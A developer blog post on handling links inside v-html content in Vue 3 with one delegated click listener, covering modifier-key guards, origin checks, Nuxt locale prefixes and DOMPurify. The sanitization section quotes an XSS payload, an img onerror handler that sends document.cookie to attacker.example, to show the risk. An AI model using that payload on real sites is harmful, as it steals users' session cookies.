Handling v-html Links with Vue Router in Vue 3
Links rendered with v-html reload the whole app instead of routing. Fix it with one delegated click listener in Vue 3, guard the edge cases, and sanitize the HTML.
A marketing site I work on pulls its page copy from a headless CMS. Editors write rich text, the API returns a string of HTML, and the component drops it into the page with v-html. That was fine until an editor added a link to /pricing. Clicking it reloaded the entire application.
Vue Router never sees that click. <RouterLink> renders an anchor and attaches its own handler to it; the router does not run a global listener watching the document for stray <a> elements. Anything v-html injects is a plain DOM node that the browser owns, so the browser does what browsers do with an anchor. It requests a new document, throws away the JavaScript context, and rebuilds the app from nothing. The Pinia store resets, the scroll position is lost, and a navigation that should have swapped a view instead pays for a full document request and a fresh parse of every bundle.
There are two ways to intercept those clicks. The first one is in most of the tutorials, including an earlier version of this post, and it leaks.
The Version That Leaks
The common approach walks the rendered HTML after mount and attaches a listener to every anchor it finds.
<script setup>
import { ref, onMounted } from "vue";
import { useRouter } from "vue-router";
const props = defineProps({
html: { type: String, required: true },
});
const root = ref(null);
const router = useRouter();
onMounted(() => {
root.value.querySelectorAll("a").forEach((link) => {
if (!link.hasAttribute("target")) {
link.addEventListener("click", (event) => {
event.preventDefault();
router.push(link.getAttribute("href"));
});
}
});
});
</script>
<template>
<div ref="root" v-html="props.html" />
</template>
It works on the page you tested it on. Four things are wrong with it.
It runs once, at mount. When the html prop changes, and it will, because that is the entire reason the content is dynamic, the replacement anchors have no listeners. Half the links on the page route and half reload, depending on when the content arrived.
Nothing ever removes the listeners. If you patch the first problem by re-running the walk in a watch, every pass adds another handler to any anchor that survived, and a single click fires router.push three times.
The target check is the wrong test for "is this link internal". A link to https://stripe.com/docs written without target="_blank" passes the check, gets handed to router.push, fails to match any route, and drops the user on your 404 page instead of Stripe.
Modified clicks get swallowed. event.preventDefault() fires before anything looks at ctrlKey or metaKey, so cmd-click no longer opens a new tab. Users notice this one immediately.
One Listener on the Container
Put the handler on the wrapper instead and let the clicks come to you.
<script setup>
import { useRouter } from "vue-router";
const props = defineProps({
html: { type: String, required: true },
});
const router = useRouter();
function onClick(event) {
// Something upstream already handled this click.
if (event.defaultPrevented) return;
// Left button only. The browser opens new tabs better than we do.
if (event.button !== 0) return;
if (event.metaKey || event.ctrlKey || event.shiftKey || event.altKey) return;
// The click may land on a <strong> or <em> nested inside the anchor.
const link = event.target.closest("a");
if (!link) return;
// Anything explicitly aimed elsewhere stays with the browser.
if (link.target && link.target !== "_self") return;
if (link.hasAttribute("download")) return;
const href = link.getAttribute("href");
if (!href) return;
// Resolves relative paths, and gives a null origin for mailto: and tel:.
const url = new URL(href, window.location.href);
if (url.origin !== window.location.origin) return;
event.preventDefault();
router.push(url.pathname + url.search + url.hash);
}
</script>
<template>
<div class="rich-text" @click="onClick" v-html="props.html" />
</template>
The mechanism that makes this hold up: v-html replaces the children of the wrapper, never the wrapper itself. The listener is bound in the template, so Vue attaches it once and removes it when the component unmounts, and it survives every content change underneath because clicks bubble up to an element that was never touched.
click on <a href="/pricing"> rendered by v-html
walk-and-attach, content changed since mount
<a> -> no listener
browser default: GET /pricing
new document, new JS context, store rebuilt, scroll lost
delegated listener on the wrapper
<a> -> bubbles to <div class="rich-text">
onClick: left click, same origin, no target
router.push("/pricing")
view swaps, store intact, scroll handled by the router
One listener per component rather than one per anchor. On a changelog page with 40 links that is 40 fewer registrations, though the count is not really the point. The point is that there is nothing left to keep in sync.
What Each Guard Is For
Every early return in that handler maps to a link that must keep working normally.
event.defaultPrevented respects a handler that already ran. If you nest this component inside something with its own click behaviour, you do not want to fight it.
The button and modifier checks hand cmd-click, ctrl-click, shift-click, and middle-click back to the browser. These open tabs and windows, and there is no version of router.push that does the same thing.
closest("a") matters because the click target is whatever element is under the cursor. An editor who bolds part of a link gives you a <strong> as event.target, and a check against event.target.tagName === "A" misses it.
The new URL(href, window.location.href) line does the work that the target attribute check was pretending to do. Relative hrefs resolve against the current page. mailto: and tel: produce an origin of "null", which never equals your origin, so they fall through to the browser. Cross-origin links fall through for the same reason. What is left is genuinely internal, and only that reaches the router.
Passing url.pathname + url.search + url.hash rather than the raw href normalises ./docs and ../pricing into absolute paths before the router tries to match them.
Keeping the Locale Prefix in Nuxt
If the site runs @nuxtjs/i18n, a CMS href of /pricing is missing the locale segment that every real route carries. Resolve it before pushing.
const localePath = useLocalePath();
// ...inside onClick, replacing the final router.push
router.push(localePath(url.pathname + url.search + url.hash));
The caveat: this assumes editors write unprefixed paths. If some of them paste /de/pricing from the address bar, localePath will prefix it again and produce /de/de/pricing. Strip a leading locale segment first, or fix it in the CMS, which is the better place to fix it.
Sanitize Before You Render
v-html assigns to innerHTML. The HTML parser refuses to execute a <script> tag inserted that way, which is where a lot of people stop worrying about it. Inline event handlers are a different story:
<img src="x" onerror="fetch('https://attacker.example/?c=' + document.cookie)">
That image fails to load, because failing to load is the entire plan, and the handler runs with full access to the page. Run untrusted HTML through a sanitizer first.
import { computed } from "vue";
import DOMPurify from "dompurify";
const safeHtml = computed(() => DOMPurify.sanitize(props.html));
Then render safeHtml instead of the raw prop. DOMPurify strips onerror, onload, javascript: URLs, and the rest of the standard set while leaving the anchors your click handler depends on intact.
A client-side sanitizer only protects the client that runs it. If the HTML is user-generated, sanitize it on the server too, at the point it is stored or served. Anything else that reads the same field, an RSS feed, a native app, an email template, gets the raw string and none of this protection.
Content from a CMS that only your own editors can write is a different risk profile, and sanitizing it is closer to a defence against a compromised editor account than against the editors. Worth doing, but be honest about which threat you are handling.
When to Skip v-html Entirely
The delegated handler is for one situation: HTML arrives as HTML, from a system you do not control, and you need internal links inside it to route.
If the content is authored as Markdown and you are already on Nuxt Content, <ContentRenderer> is the better answer. It parses to a virtual DOM tree rather than a string, so a Markdown link becomes a real <NuxtLink> and every problem in this post disappears before it starts.
If you control the authoring format and want components inside prose, MDC gives you that directly. Reaching for a string of HTML plus a click interceptor to get there is more moving parts for a worse result.
And if the rich text can contain forms, nested interactive components, or anything that needs its own state, none of this applies. v-html renders inert markup. Intercepting clicks on top of it will not make it reactive, and building further in that direction is how you end up hand-rolling a renderer. Use a real one.
FAQs
Why do click events inside v-html not work in Vue 3?
Vue compiles @click bindings in your template at build time. Content injected through v-html never passes through the compiler, so directives and event bindings written inside that string are plain text attributes with no meaning. Delegating from a parent element that is in your template is the way around it.
Can I use <RouterLink> inside v-html?
No. v-html sets innerHTML, and the browser has no idea what a <router-link> element is, so it renders an unknown element with no behaviour. Component resolution requires the compiler. Use a runtime template compiler or <ContentRenderer> if you need real components in dynamic content.
Does this work with server-side rendering?
The handler only runs on click, so it never executes during SSR. The window.location.href reference inside it is safe for the same reason. The HTML itself renders on the server as normal.
Do I still need DOMPurify if the content comes from my own CMS?
It depends on who can write to the CMS. If it is a small internal team, the sanitizer is protecting you against a compromised account rather than a hostile author. That is still a real threat, and DOMPurify costs about 20KB gzipped, so the trade is usually easy. If anonymous users can submit content, it is not optional, and it belongs on the server.